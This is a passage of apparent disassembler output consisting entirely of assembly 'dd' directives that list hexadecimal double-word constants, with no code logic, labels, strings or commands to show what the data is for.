0F58AB7ECh, 0E810E898h, 0C0EED100h, 34F196DCh dd 791F16CAh, 1C1871ABh, 20F04907h, 5B129488h, 307767EDh dd 7CF696C5h, 1C34094Bh, 2B9E4449h, 7601028h, 8B01E984h dd 0D8F8D58Fh, 78006C04h, 8EF5D80Ch, 49CF0A2h, 97F64F55h dd 2228A76Fh, 41390066h, 0F02825E8h, 0A5001211h, 83C4F7E1h dd 1244F340h, 0DC9AA4C1h, 0EB167878h, 7420AD15h, 0E37E07h dd 0E5B1479Eh, 0F11DC1DCh, 68803609h, 0F1001213h, 3B470094h dd 6E551999h, 0E4ACAD1Fh, 78F0812Dh, 72E1CF8h, 0C9E6C62Ch dd 83115481h, 6881A8A0h, 0C86C7132h, 82506074h, 967213D0h dd 3BD8D0C6h, 0B54819E1h, 21E48068h, 0DAAC71h, 1A74C554h dd 44277076h, 30224D00h, 6BEA20A3h, 0FA7E3BDDh, 2EE4C84Ah dd 0B972E200h, 317A8077h, 3ADCAC75h, 2D250C74h, 44916024h dd 50C9F08Bh, 1380BC6Ch, 0EA2983E4h, 21A5520Bh, 0B3025F10h dd 64617BFDh, 7FF4CC3Dh, 0DDDDC13h, 0AF248Ch, 14055057h dd 6CCD995Fh, 0B28F8304h, 0D4B0646Dh, 87F60125h, 97E855F2h dd 1CF07077h, 0D082AB8Bh, 0FF0C0Fh, 0DE3640EAh, 583091ECh dd 0C5A87E50h, 0E3786F40h, 5B3D1088h, 30216513h, 0ACE8148Bh dd 35AF0045h, 0AAB0FE8Fh, 0FA0E8EBAh, 2211DC5Ch, 40AC26D7h dd 0A6134B38h, 8EB630E4h, 0D2953CC9h, 0CADDA700h, 0CC9E232Ah dd 29433F42h, 93B28406h, 7C403821h, 800090C5h, 110A34E8h dd 81B52Bh, 0C6FEDD7Dh, 244A119Ch, 12384B12h, 681430CBh dd 80AA3317h, 21016C46h, 0F21E3422h, 76D4395Fh, 24167D69h dd 12B61FD1h, 0FE6C043Ch, 0E2A0B0A0h, 0B461EC26h, 8C88BC4h dd 53760064h, 0D08FE7C4h, 9716F148h, 30218B31h, 0D2101E1Ah dd 952FD707h, 0ABB838FFh, 76CE07FAh, 5396ED65h, 0A78FB4C1h dd 91CF072Ah, 14AA7B31h, 9A23C00h, 4106B01h, 0F0290AE1h dd 0E074A5B4h, 5F032303h, 0D5C47666h, 27759831h, 5CDEC97h dd 24898AB0h, 0CB1800B5h, 48C712C5h, 33A71F00h, 0F87D4A3Bh dd 0EEC43B7Ch, 53D10380h, 4F68D66Ch, 0EADDEB02h, 58A1C22Dh dd 0EC8B2708h, 806CA0A8h, 6F731B57h, 0C31C1C34h, 43041786h dd 4EC07AB1h, 0FE199884h, 1D94A9B2h, 0F4CBCC6Ch, 6E146844h dd 8BACDh, 72D5D719h, 0F486986Ah, 75A02489h, 1AA113BCh dd 0FC592842h, 201E598Fh, 0AF263009h, 3C8F4C73h, 0FAD72000h dd 0D04F697Bh, 8A0BDD0Ch, 7D21613Ch, 95E616A0h, 37E41E62h dd 706AB099h, 0CDEB1117h, 8AC9C719h, 4377109Ah, 1E87104h dd 0F94E76Ch, 28147109h, 0C0F48E50h, 1A8F23D3h, 1E132881h dd 0E39D0091h, 0C8E24BE5h, 8858B3ADh, 0C2E71750h, 8C305024h dd 7F618D3h, 0F144658Ah, 1970F19Fh, 1DB6D4F9h, 29BFF503h dd 80F2C211h, 0FD5966h, 0C02C5886h, 0D9BB1927h, 22281358h dd 0B207017Eh, 0CD9D85F6h, 0A46ACCF1h, 0A918D401h, 0D7EA56F2h dd 209ACCh, 9EB04FF0h, 29EB976Ah, 0ED208660h, 2FBD6CC0h dd 0E020653Dh, 17E35FE0h, 0C9BFB800h, 85547DC6h, 8FEC007Bh dd 0F18A2FE5h, 78002942h, 6EF204BDh, 0C0C020A4h, 36377060h dd 8B7DF791h, 7FC15B00h, 0FD58C85Ah, 51520084h, 0E59147BAh dd 441C13D7h, 79706574h, 1F6215h, 0FE36B88h, 0C5027D8Ch dd 82B24000h, 7DB84A8h, 78DD3849h, 3FFD4500h, 10AF57B4h dd 0B0980F00h, 80E1134Fh, 0C8650F2h, 6C032E1Ch, 401F64D0h dd 4D1EDD3Dh, 0F8881DA7h, 176A80DCh, 53A05193h, 16BB1102h dd 0A0590F68h, 0E1C0A450h, 89A900BAh, 0A0D9B1C5h, 6C00FCB3h dd 0CD1E5AEh, 37B2986h, 0B898A802h, 9058114Fh, 0A01D9380h dd 7A8C1121h, 8DC63700h, 8121EDF8h, 0D2720136h, 0A8C005ACh dd 4DD4206Eh, 568290F4h, 301740E4h, 63007E99h, 0BA54026h dd 0B73E0Fh, 0BD842C42h, 0A2994358h, 153A9090h, 0FDF96001h dd 278E85A0h, 1C910CBFh, 3006EF1h, 0B46E9C9Ah, 76C03DCCh dd 15C32EF5h, 308B896Ch, 6D88A420h, 95489405h, 3C64C8ACh dd 3972246h, 1149C3D4h, 0C5B5F491h, 80B0A2D8h, 49A13FCDh dd 32590191h, 0E7AE7A7Fh, 0A4BAFA97h, 880004E6h, 85704E38h dd 987F1196h, 77812F64h, 0E89962F8h, 0CB2090A7h, 6EDB00A5h dd 3CED1B51h, 1261C235h dd 0B4600558h, 90681464h, 0ED6F4488h, 715A4F09h, 0E880446Dh dd 0F7981Bh, 0C3F42A28h, 0A2C6E3E6h, 12DC0304h, 58B91CFAh dd 87C6596h, 3D822204h, 58856F2Ch, 9FE57098h, 0A49D2802h dd 99840429h, 0EF85743h, 0F4202F90h, 8BE1624h, 8372E760h dd 0CBD55894h, 66A99F00h, 0F2957BE2h, 36913301h, 0CC3DE742h dd 4801C4E0h, 601856F3h, 409EF807h, 0A0F1706Fh, 8CCA4582h dd 41C12D3h, 248E26Dh, 9F4E41D7h, 8A94873Eh, 0B4407B40h dd 0AFFF1566h, 8207A094h, 0D5473A43h, 8238F73Eh, 0DB1293B5h dd 8A1714h, 0B385B9A4h, 0EA0ACFB6h, 503F9E73h, 217BF500h dd 31B45803h, 0C5800569h, 3470F629h, 72F1B200h, 3020E3Ah dd 804A0198h, 0B42F7F6Bh, 0A50DD901h, 44F46019h, 4348006Fh dd 64EA8AFDh, 0F82E23DDh, 96923492h, 6BE8E401h, 6822E78Bh dd 0B338834Bh, 0B24C0A4h, 0B090FE7Ah, 0A0091901h, 859B9F1Ch dd 3C2E048h, 0ACCE8B2Dh, 0BC0FBB7h, 18A9F51Bh, 2C202B7Eh dd 478E20h, 3BB00F7Fh, 60F5E32Dh, 0FA071A02h, 60C65043h dd 8B201C24h, 0C084D5D7h, 3E1344D4h, 1479520Fh, 8C7E089Fh dd 45E81ACEh, 3E765312h, 0ADA84C08h, 39FC0010h, 0DBFF2200h dd 0EDBB6267h, 61CC1393h, 2DB600C9h, 1B2C4FECh, 22029CB0h dd 0B2FDBE19h, 0DE132094h, 9C16F080h, 0DC30D701h, 0CAD1CEh dd 8B101ED3h, 0C77772DAh, 768A9203h, 0F857F309h, 3D93DF8h dd 4D1F5AF6h, 0ADCBC0BCh, 958FB0BFh, 3F00619Eh, 0F29389EFh dd 98DBCA55h, 0D8F64CB6h, 9D358C04h, 1CE08C40h, 0C8F8064Ch dd 1120C21Fh, 0E3D85060h, 1DF1CF00h, 66D486E1h, 0D0106069h dd 359563D7h, 2F50B95Ch, 0FE20208Ah, 0A36AD1h, 0D36CF739h dd 0A2D4204Fh, 0BE76300h, 0DE08F1E1h, 8A1B2593h, 8FBB6890h dd 797BCC16h, 3D00CCE2h, 6664A4E7h, 0C10EEE0Ch, 0E4F3DCDDh dd 0B8C12D7Dh, 0DC79356Dh, 9781730Fh, 12ACECAAh, 0ACB011FCh dd 0F2A49F12h, 5844028Ch, 64BDCEC9h, 0B8F3E838h, 34184CF4h dd 2462E7DEh, 8017D885h, 0CAF982D4h, 0EC42EE1Ch, 0E81C7F00h dd 270B7211h, 54104F8Eh, 7701141Fh, 0B5AB1BD9h, 0A830B2CAh dd 51430474h, 0F26B011Ch, 298B095Ch, 4A48013Fh, 2095DA13h dd 957E84EBh, 0EA3D7CA0h, 0F001167Eh, 0BAFE2DE8h, 9CCC2181h dd 0AE05006Fh, 4F809EE2h, 64006EB7h, 0A2F9E83Ah, 0B0B7822h dd 0A4E07ED6h, 0EF870C01h, 65FC4203h, 13A26C41h, 40F2AD9Fh dd 0D9FF7080h, 0F92637D2h, 678A5C12h, 286AACFDh, 80FB5E08h dd 7E9CB470h, 0E3011013h, 3E83ED51h, 1840BACDh, 4D07D791h dd 69C4A068h, 0B6E88814h, 51070499h, 0A2205764h, 2D142F2h dd 0C01924DEh, 2882B4FDh, 74C4B811h, 0E0B07091h, 0F6EF7BC9h dd 15389E0Fh, 99C0709Bh, 4C30E6DEh, 76A870Ah, 8C0118DFh dd 0A41F1106h, 45144064h, 59D002AFh, 0A47EE092h, 0DEE2B740h dd 96F001A1h, 2DE4AA3Ah, 5B7EE005h, 0D89A8101h, 42EBF352h dd 59D11AFCh, 0C58243Eh, 0D11A3CB2h, 0F91E0B28h, 0D60108Fh dd 0DE8B3335h, 0A2E25D00h, 576704CBh, 4E1302BFh, 0FD7C0894h dd 6BB45C48h, 1C2D34B2h, 228C2E09h, 68E19AF8h, 504F98D8h dd 91E404Bh, 0D1F01D5Ah, 0F2795381h, 388FCD78h, 52A8324h dd 2BC89014h, 76690095h, 129DBB92h, 0ED588504h, 5984CFBh dd 2154F4D5h, 69688Ch, 1C529CFBh, 0B1B34DFAh, 4401C34Ah dd 6F5C96E0h, 0DD209033h, 0F17B00F1h, 0D1FF4A1Bh, 809A8B34h dd 3C1A6B29h, 0B5CBB75h, 48836EB5h, 777CB4E4h, 0D86CCE38h dd 4F881D45h, 88639509h, 9E0978A4h, 0F1441043h, 6870C4CCh dd 9180BC1Eh, 56522A4h, 0F9EF43D2h, 4B80E8FCh, 4CCE0070h dd 0AF590037h, 62094075h, 6F003F17h, 9A5C7E08h, 418F01E4h dd 13C80CA4h, 0A1748A04h, 88912391h, 1C037BF9h, 7C846282h dd 0D0FE40A1h, 28E273Ah, 1557E260h, 5AE030F6h, 500AD34h dd 6E199ACDh, 98821DDCh, 0D21E446Ch, 88A57B19h, 0B0743FEAh dd 5980E98Ah, 0E4FFB6A1h, 0C8005A84h, 40EAF82Fh, 679B18h dd 8AF07094h, 5F4F5D1Ch, 3E44309Dh, 0C5B612FFh, 0F4A0002Dh dd 9206FE1Bh, 0EB0084B9h, 3891E650h, 0F19E1507h, 0D84240E3h dd 1CC17F2Dh, 9F811773h, 11AD92A1h, 0C53C3890h, 0AD0BEB00h dd 0E09D8835h, 0ECFAE3h, 0F08F91ABh, 0E1A21D24h, 34C25B4Bh dd 0D7512071h, 191C3FE3h, 0A496637Bh, 6D5088h, 0CC0E492Ah dd 22FFA0BAh, 45E7690Bh, 0F8F44AD5h, 0A2DE0034h, 8C8A1D12h dd 30A4920Eh, 1C181748h, 0D12452A6h, 0C090F114h, 0E5F3972h dd 4A820030h, 80A56A7Fh, 9116E411h, 0D8B0A3F9h, 58D45C1Bh dd 21D1E11h, 0CAD8739Eh, 0F1FCE19Fh, 14E458DEh, 0CCB184ABh dd 2EBBCC00h, 0C16D4215h, 7ED4DF16h, 1B78AC62h, 78071CC1h dd 0ADC5B0C0h, 88A6B3h, 9E1CEB3Fh, 2B5A08A3h, 0B937106h dd 942061FBh, 50102758h, 602CE91h, 0ACC5E973h, 79ABh, 1578E729h dd 0DE007077h, 1FFFA973h, 3A53118Fh, 0D196575Fh, 0B1C434B6h dd 54C060D8h, 85DACF00h, 4A3744E8h, 0C47800DDh, 0B46FFDA4h dd 477AB60Ch, 0E0406560h, 3E447073h, 0A8FDA11h, 9F2F16B3h dd 2AC8BA02h, 0A6FDF240h, 8765670Fh, 0C4E28035h, 12E75CBDh dd 8ED8BA5h, 0C4AD613Ch, 0C690B0h, 9FFC072h, 0CA0B8C1Ah dd 0B5197907h, 97A05AB2h, 1E8B3DC6h, 9FADC998h, 5C206FF0h dd 5F2502B4h, 0A084C800h, 10FEEF72h, 0ED5D00CDh, 68C63E6Ah dd 0CCA15E15h, 87FDDC8Fh, 0B0868098h, 3C881B48h, 6134401h dd 8152A426h, 0E2170862h, 0A488989Fh, 9215173Bh, 4C48793h dd 308125CBh, 0A0911356h, 3D750084h, 14F29A4h, 0FD433DE2h dd 532ED881h, 2F34F145h, 7007F845h, 1414D89Ch, 4C051CE3h dd 3E881A02h, 24E1B387h, 886408C3h, 89003DF3h, 80C6CA75h dd 128177Fh, 93CB9AA8h, 44B0A230h, 1ED8B084h, 2043897h dd 0AEF300DAh, 1C851437h, 59C95EFFh, 0C19C498Ch, 7BD3F0h dd 552AC983h, 78F4A295h, 0FD64D800h, 3971F11Bh, 0DE901BEh dd 9879737Ch, 929439A8h, 2E660C8h, 0AA49741Ah, 53202479h dd 7712A13h, 0F1916144h, 0E022BF3Ch, 81E08085h, 7C0F8166h dd 20CF169Bh, 0A4735D60h, 61200D0h, 0A946BA72h, 0A30987C7h dd 8051EB0Fh, 0A2010C1Bh, 1B1D0B6Ah, 9811A031h, 3C05106Dh dd 10DF00D6h, 6C37A3D7h, 8B27E048h, 9F6C49EFh, 0F43882D5h dd 3D4E229Dh, 8612CC98h, 973FC22h, 96C645EBh, 0CC011824h dd 4200F0BCh, 97C1AD37h, 5DE11347h, 0CC030486h, 34E7827Dh dd 0B3528A8h, 6F80DB00h, 77B353D4h, 88FD0020h, 7EA64708h dd 0DA000619h, 0D693F01Ah, 2F5F4E11h, 0D01012CDh, 0C602FA3Ah dd 885A9D33h, 5F1740FDh, 0E8F10008h, 6ABBCD22h, 0A0C87E8Ah dd 0DA699C88h, 0E8594125h, 8200D024h, 0FBA2FCA9h, 94C8006Eh dd 96B13DFEh, 0AA1706EAh, 0C4C8C735h, 44AC079Ch, 5E29643Fh dd 6D39FD40h, 974859EAh, 74311064h, 0A122E448h, 1385A0A1h dd 0DD32B809h, 9365000Ah, 0F1781E59h, 720143C8h, 26EF2A3Bh dd 0D0301B8Fh, 0E1210019h, 0D4239939h, 7876C6F2h, 6CB410E0h dd 8A4DB440h, 98710981h, 2D008FC4h, 51A2AF94h, 18088225h dd 3E311A4h, 59694477h, 0BBC2A97Dh, 0AAD50884h, 947B3831h dd 4E003D4h, 1C1F56B6h, 1928CC0Ah, 5E759217h, 87F3A4C0h dd 0EC8B2D5Ch, 250014C5h, 8155D241h, 0C126076Ah, 70C5A704h dd 3D8ADD66h dd 1358FA5Ch, 20E2959Fh, 0A190EF21h, 8E136582h, 0CC048C2h dd 0B601F1F0h, 0BDD649Eh, 48783D9Ch, 0C0181C89h, 0BE049AEBh dd 0B5BA05C6h, 32008CA2h, 0C598FD31h, 0AD0020D6h, 8B4F517h dd 9A302AAh, 4496D901h, 5C41309Ah, 0FE8B1264h, 0B8B78028h dd 24CE496Ah, 4BC61A01h, 9F8ABCA1h, 0D927BF10h, 0D8BDEB00h dd 4CF3AF7Fh, 0DC290014h, 58B3445Bh, 21017420h, 893474Fh dd 0C6801ED2h, 0FDA9EDB9h, 0BE143CA7h, 48681068h, 722264h dd 2192F078h, 3D3E57EEh, 81A0B439h, 0DF1B32Eh, 406A8B44h dd 0F1CDD2Ch, 3B0ED9B4h, 80E6B9ABh, 0F8A68D4Bh, 0D1D71004h dd 0A49F0831h, 0F58B8B83h, 650A4499h, 0F41884B4h, 0B4101E70h dd 4D67EFC0h, 3E007A27h, 370B11B6h, 18884BBDh, 3158EE8Bh dd 0D0F93CF0h, 0C100E7DEh, 0DD3E6FECh, 0E2934922h, 9EBC0368h dd 0B9E4926Dh, 0E06980C9h, 0DF00285Dh, 59F2CE58h, 0ED3C93Bh dd 8AFD56A1h, 2325425Eh, 10711B19h, 0C98C1440h, 706495DDh dd 0F4249800h, 0CE72D122h, 0BB100BDh, 0D7112726h, 6CFC3A69h dd 0FADFD3Bh, 8052853Fh, 8FFCDDFh, 0DAE4F954h, 50E34CD0h dd 72D6F20Eh, 25DC6AA0h, 4D098C9Fh, 5195F11Ah, 14680540h dd 0C48F217h, 11A39F1Ch, 0ECDD041Dh, 0A99E222Dh, 73F2009Ch dd 86F30869h, 0B2670B1Ch, 0EC823EB3h, 792B1911h, 0B56C0094h dd 85D1E631h, 0E43E9804h, 0D0D1D99Ch, 703C01A4h, 8100D5D7h dd 155F020Ch, 658010E8h, 339B23CAh, 0FE571900h, 0D0A1BDECh dd 0B6F00041h, 572F166h, 0DAECE6B2h, 968A22h, 65AFE0CAh dd 13DC390Ch, 4E83E0B9h, 0F357ACFDh, 0A8F09801h, 3EF53C2Ah dd 4BA60E01h, 6025DDC1h, 4A004284h, 2F7CFA9Ch, 7D421B4h dd 0AAE3BD1Bh, 74594B67h, 0D80A5400h, 99CB3B9h, 4C11A2BBh dd 0EC9440F8h, 0F62E804Eh, 0EE41FEDh, 0C1D03DE8h, 1C929461h dd 88043806h, 0C3C08097h, 2417695Dh, 15137D78h, 60E0A6BEh dd 80430C71h, 0B608420Eh, 0BC8279Fh, 4EF753F0h, 98EB028Fh dd 7A62DDD9h, 1D9C8C40h, 2316078Eh, 0D0AD060Fh, 0DCE4BD4Ch dd 1EDF6200h, 904A2644h, 0B5504ABh, 87755EDEh, 8F948038h dd 0A3047D52h, 6CFE1BEAh, 8C858CBCh, 88648747h, 30053E82h dd 772A60B4h, 43D5CF1h, 0C3AA9AC0h, 82003647h, 0B435AECh dd 40886591h, 11117B92h, 52480B9h, 0E4C502A0h, 2446E162h dd 9666422h, 38353218h, 990AC380h, 2B5C564Bh, 244388Eh dd 0ECB0B46h, 40D145h, 0B50C5512h, 82000211h, 0CF3AF528h dd 1CC6365Bh, 25E5DF07h, 1B00F06Ch, 0C93F0EC2h, 6050EC46h dd 0CADB46D1h, 8612A509h, 0AC087E08h, 0C08B4079h, 0ACB89889h dd 68A0E575h, 0B9588DFDh, 910E0F79h, 8B50AB7h, 1809ED13h dd 9D38D172h, 6CF14673h, 0E6F94134h, 847CB8E2h, 94044240h dd 7428019Ch, 4B82C060h, 0AD54CC2Ah, 90090827h, 947515FCh dd 611C2CD0h, 0E8E78DF5h, 0D01F9CFEh, 80BCD14Ch, 1171F92Dh dd 1A9DE2h, 8C051F73h, 303321EDh, 605DF024h, 5CDE9600h dd 74956Fh, 12D08788h, 62F2BFD3h, 0A94A949Eh, 7A85109h dd 9AA3431Bh, 8C099012h, 1799C9DEh, 5F402CD1h, 39C2F0B1h dd 2300D0CDh, 9689937Bh, 7EF7E709h, 0C54D5C60h, 64CB00B5h dd 5A5D3EA9h, 804AA04Ah, 191E4400h, 0B9AEFDC2h, 88E29638h dd 618248B4h, 0C214AE2Ch, 512994FCh, 0D580F00h, 0AA9CE840h dd 0AD12A48Eh, 0CA00A25Ch, 5B922326h, 0F8C24DA3h, 96056F09h dd 5349C08h, 0B094B5FFh, 3C4EEC5Ch, 0CB4C88h, 0C927E237h dd 0C633FDF2h, 5C9DF602h, 463EE1B4h, 0AB6A079Ch, 0D72B9213h dd 0A4330ADh, 0EA0BCE77h, 0E43E9E72h, 607A4090h, 941C7086h dd 321A44A0h, 33ED11FDh, 0CCD200FCh, 0EAE0F81Eh, 6A9028F6h dd 564F00A0h, 0D211313Ch, 0CD24BBFFh, 84A40C55h, 65988039h dd 6B67F2DCh, 0C837251Ah, 0D1002851h, 98D63FFBh, 5BCA0F01h dd 0DF43630Fh, 0A688370Ah, 85587546h, 15EC05BCh, 4090AE9Ah dd 0B0CCB535h, 1B1102BBh, 70A2DDE0h, 0F6146890h, 0DE3E8605h dd 648D999Fh, 40A29C20h, 32E1C96h, 5E695073h, 6BF3600Ch dd 0E4046E17h, 81AD3EB2h, 421820AAh, 1E00B932h, 800D7D6Dh dd 7848E478h, 0ECD20318h, 0AFFE0194h, 24DC6BA0h, 0E465E125h dd 3D111FB0h, 4A0F3AC9h, 4B00C338h, 5112C2D5h, 8A7EBD17h dd 0D960D827h, 3999C465h, 5D847F22h, 0CC75275Ch, 0AD0CC6FCh dd 8E3C183h, 889B5C9Fh, 8943EBC8h, 4B25987Ah, 0D4A91448h dd 3C7ECCF1h, 0FC00D591h, 68DD80BDh, 0E1C22C1Ah, 0C45AFE1Ch dd 0C5A44440h, 0B2965800h, 769C3256h, 0BC807D4h, 906FFCCAh dd 0D2B7AEE7h, 880844Ah, 21C41920h, 0A43DB0FDh, 3864B0E4h dd 10E8A812h, 1E04A55Eh, 374EEF8Bh, 60658CA8h, 1E3A3191h dd 420079F5h, 0FD367844h, 3BE7982h, 0B41C9D55h, 3CD11B2Ch dd 0D8273E1Dh, 7B42E504h, 98E29ACBh, 169010F4h, 0E6B73D80h dd 30941C55h, 81F4A108h, 302DE778h, 7396F5B2h, 57CF0A6Ch dd 5000B570h, 694FCCABh, 0EC909718h, 5E01ECE2h, 0F1850743h dd 0F9FE7034h, 0E06C1324h, 8049F2B4h, 20F24A6Ch, 0A5461000h dd 9160C661h, 5CEECD00h, 93A7C45Bh, 27D600F4h, 12DCEA7Bh dd 3B611BE8h, 52A6B560h, 1C248C04h, 1E83D81Ch, 7DA9B942h dd 0C5AC8B39h, 0A3A10014h, 0EAE58C67h, 0D709451Eh, 717E1304h dd 0A18008BCh, 0A5286559h, 0D3256302h, 46935642h, 23951E8Ch dd 0D4C3003Eh, 0E0E1F69Dh, 8CA4ACE2h, 9C91E44h, 0F6D1B6FFh dd 1447B07Eh, 0C41790C8h, 784072FDh, 8B01088Ch, 5844B64Ah dd 88537B06h, 0FDB898C4h, 0E4D5CC03h, 0B86A8F28h, 5583DACh dd 69341E9Eh, 214E210h, 0DE153CDDh, 5E107A8Ch, 66C07058h dd 7A12CBB8h, 0E9F004DFh, 806425FDh, 87F6F0A0h, 1B31A4C3h dd 92FE51D7h, 44842608h, 31E169Dh, 0B100914Dh, 66F0CC84h dd 6FC4026Bh, 0A7EF39A0h, 0A158275Dh, 4749228h, 1E8BFE94h dd 7AB54520h, 0C7A0C001h, 0F03D6456h, 9E3B9100h, 0B7100AF9h dd 0C21B852Dh, 0DC93626Ch, 0D91A00C4h, 0CB1F8ADDh, 885000B8h dd 0A74253B0h, 117A9F17h, 6C03D80Ch, 91717DF4h, 0CE03D827h dd 0E91E0098h, 97C081E3h, 66973549h, 0E27A1764h, 8044A326h dd 0C6D006DCh, 8CA227CBh, 0EE7A445Ah, 3E9A8988h, 66A49001h dd 31190810h, 9288FE47h, 0F988F48Bh, 2DA27A03h, 0D8A4225Ch dd 0C2BBB694h, 0ED8BCCC8h, 14B46864h, 0FDF35167h, 72B7E80Bh dd 0F2E20183h, 12B44E61h, 0F53888C1h, 1C10A5A6h, 3B002461h dd 844D288h, 1E56B75h, 0D6FB55A3h, 41DDF4F8h, 0FA18F99Ch dd 0A3267444h, 0A24144A0h, 7842A178h, 0A09F22E2h, 0D1A54454h dd 5EA700E8h, 3D176D9Bh, 365FDD00h, 0ED253E2Ah, 208E4515h dd 0E896320h, 8F2EEA8Fh, 59150ED6h, 5EC40A20h, 79272602h dd 2EA09035h, 0D534005Dh, 248FFEB9h, 88B4756Ch, 81BC2E2Dh dd 0E23CE9A8h, 0B70B8438h, 645A94EEh, 2DD6A222h, 0DC11EA8Bh dd 10F20D97h, 0B926A21Bh, 6427C072h, 11180030h, 0F9DE8A15h dd 2B013829h, 0ABCC6C12h, 0F0236671h, 864D2A00h, 136DBAB0h dd 0A1930C00h, 7ACDB724h, 25881087h, 531D9D4Ah, 0DA969F89h dd 0B9DC0328h, 8690D19h, 444094E3h, 9C427CC4h, 8C5CD422h dd 0C0932D4Bh, 0F19F13A0h, 13EF6852h, 0C3D8E842h, 986496FBh dd 51DFC3h, 9938731Ah, 88E312F4h, 9804ACA6h, 68DCC8EBh dd 63B4CD8h, 0AF4F8737h dd 8421A012h, 2FC53F9Bh, 582A1020h, 10B30018h, 0E308F26Eh dd 965C09EAh, 0B8772803h, 4E518520h, 268820DCh, 800087D4h dd 0C08B9B76h, 0F2FF3E63h, 70009D94h, 18A0218Fh, 69167930h dd 0E44D4752h, 0C4C1097Eh, 40457D2h, 0F3CB379Ch, 162D8704h dd 0EBE09FC4h, 9DBB0197h, 1155A8A2h, 61C8F024h, 217303F6h dd 8B2791FAh, 0F31F44F8h, 59B6D100h, 8749EE09h, 86FD1DF2h dd 3461808Dh, 665ED211h, 3CFEA718h, 719EB8h, 70C19AC6h dd 786A7F4Bh, 2D153D12h, 5C2070A1h, 10F1844Ch, 25C3FCCh dd 6F5DABEh, 4CC8A9EFh, 5B03A489h, 0ADECC135h, 8B08097Ch dd 0B87997F2h, 43687546h, 90997A31h, 0F2A4640h, 22570D8Ah dd 32409BEDh, 8C20C3C4h, 30D69806h, 0EF07096Fh, 38D4FEC5h dd 1D527244h, 0C8BC2284h, 0E6A2E140h, 0FBB400F4h, 0E330AD13h dd 787E6B3Eh, 2180899Dh, 874B7B84h, 3F11DCF0h, 0F381024Eh dd 0E2B07D7Fh, 0A8F02404h, 0DCC04486h, 9E017EEAh, 18A67463h dd 302012E9h, 68554495h, 3904495h, 3FA03C9Eh, 47E084FDh dd 48FCDDE7h, 5C1CA4B8h, 75C3DECBh, 0C8BCED87h, 0B12478h dd 0A0F1C5BAh, 0E1A36A6Eh, 0E42DCC90h, 64B866D4h, 32ACA0C5h dd 1B1110DFh, 0C018DB4Ch, 231A3055h, 0DACF140Bh, 101FDF22h dd 88AF46B0h, 0D920C1EFh, 0EC8B1761h, 7E3CC898h, 17B4C18Ah dd 488CFFF8h, 0FC4C0C8Fh, 9D088A0Bh, 0A3D59098h, 77AEA600h dd 4922EE7Bh, 0F10D2D68h, 2C00C864h, 6A9881C0h, 0BAEBE9h dd 0AE8C87DBh, 0A96C1702h, 0D85DC63Dh, 48542FC4h, 8A111564h dd 0DE108975h, 90525A84h, 16E2A344h, 0C4260CB9h, 4B888C58h dd 3B80495h, 9D09C826h, 0DE01B654h, 110792D4h, 63224094h dd 848C648h, 17753145h, 0DB38303Ch, 0CF1279ADh, 0DCA8EA81h dd 9613A382h, 0BABC280h, 430FD4B9h, 8E4297F1h, 0A3C2EE17h dd 0E77A0E87h, 0C07949h, 9947C3F3h, 20046F5h, 1F32B01Eh dd 179BAC31h, 16AF6AB7h, 0B85714B4h, 5BB0A29Ch, 3FDC9552h dd 0A14902CCh, 5C9B3879h, 0C1C91AE0h, 423E745Eh, 0C1574F1Dh dd 0A1BEB08h, 0F4198575h, 0B022565Ch, 0CEC50196h, 38402EBDh dd 13D6F4B9h, 74305E2h, 0F4B5E99Eh, 7F008E78h, 0A651DB92h dd 91004h, 0C757F4BBh, 0DD0E5D93h, 667F4DEEh, 1490ECB9h dd 0B8016E8Fh, 3CDD656Ah, 0F422806Ch, 3D7971AFh, 0F8855707h dd 83874F2Eh, 21C42C14h, 49811CF0h, 0C54C6E9Dh, 86BAC8FAh dd 5039663Eh, 9F2E01C4h, 0D1A7F8B5h, 4F42B86Ch, 9002A082h dd 0E21EBCF4h, 843A5C03h, 0C0E20CC5h, 1296FCFDh, 760B6800h dd 6A2F35E4h, 0D37F0084h, 504B24DDh, 0D0074A4h, 0FD366F9Eh dd 79F2961Bh, 67C1077Bh, 215B1DF7h, 400A1C85h, 8A137F40h dd 0A012A95Bh, 9AD21CF0h, 0E8C650BCh, 0C109F931h, 0E053C691h dd 3AF08500h, 93698E6h, 0CFF42A6h, 32242084h, 0E0C05EC6h dd 0C98B840Ah, 43D37901h, 92B9EE98h, 77A7D2FCh, 1C364C0Eh dd 11513D11h, 0B8409BE6h, 0AB113E6Ch, 0EC04484Dh, 904E21DDh dd 72F68F18h, 10C81A4Ah, 0AA620094h, 0E94258C1h, 6A011353h dd 0D368D6E8h, 0CC3ECBBFh, 0C345EE2Ch, 0F488447Dh, 0A25A364h dd 0BE90E9D8h, 10E49A27h, 7C004EF4h, 0DDEBFFF7h, 0E117562h dd 0EC5605E3h, 0EE80451Fh, 0A5A092C4h, 323A1A19h, 8B22935Ch dd 0AC1475E7h, 0C1CB1F00h, 0C23B331h, 2EFEFEDBh, 8AC4E9Eh dd 3C28B6EBh, 0B111942h, 0EF693B72h, 666D8B51h, 0A0574E74h dd 0C28AA97Ch, 49455F0h, 1A0A6600h, 4F198EE5h, 306402E1h dd 94403AAAh, 0CCCB061h, 0DC7B44FBh, 0E8D5B801h, 8C9F1083h dd 942413E5h, 0E0A34173h, 2C0784F6h, 0C3E6116Bh, 4A10D2F2h dd 76F01A70h, 0E4930130h, 38EC4F68h, 0A4A67E0Ch, 907B5744h dd 45E12524h, 7201307Bh, 1915DFCAh, 4CCDE3E4h, 0DCC238BAh dd 0C417AD5h, 84BC0C18h, 8849621h, 0F08992E7h, 0B908023Dh dd 0EC180B31h, 51F0B8A0h, 554A151Fh, 0E2387894h, 3EC2191Ch dd 0B854DCh, 0C8B5C75Ch, 2615ED4Ah, 1C49935Bh, 2680D1BBh dd 0B48A12E8h, 280026C0h, 0AA8F44FAh, 58DE2Fh, 8EAF1C78h dd 0B368D998h, 0B1F4D148h, 69029A47h, 0EC6AF4FEh, 0F0C8BC10h dd 30B2DC92h, 0C593F300h, 6EE8543Ch, 0CA281A00h, 80500688h dd 618306FDh, 1E20C2AFh, 409D92F0h, 0A9EE6F91h, 0C43E11A0h dd 0C94CB8F0h, 771427DCh, 2F68D349h, 2E9DE010h, 471FF71Fh dd 0E112CF00h, 372FAF86h, 8768268Dh, 51434039h, 320181BEh dd 44C3D611h, 82F068F3h, 10591528h, 0E45CC8D5h, 2EC7E080h dd 9250C9D9h, 45865080h, 0C887DEA1h, 1C09A8FAh, 89B413FEh dd 482C85E0h, 1BE8B081h, 9FE47D04h, 0D01294EEh, 640D6448h dd 6470EA30h, 245F3468h, 92F4D0EDh, 0A4A0D1A9h, 0BBE21080h dd 20095FDFh, 7A1B4A08h, 687B6A00h, 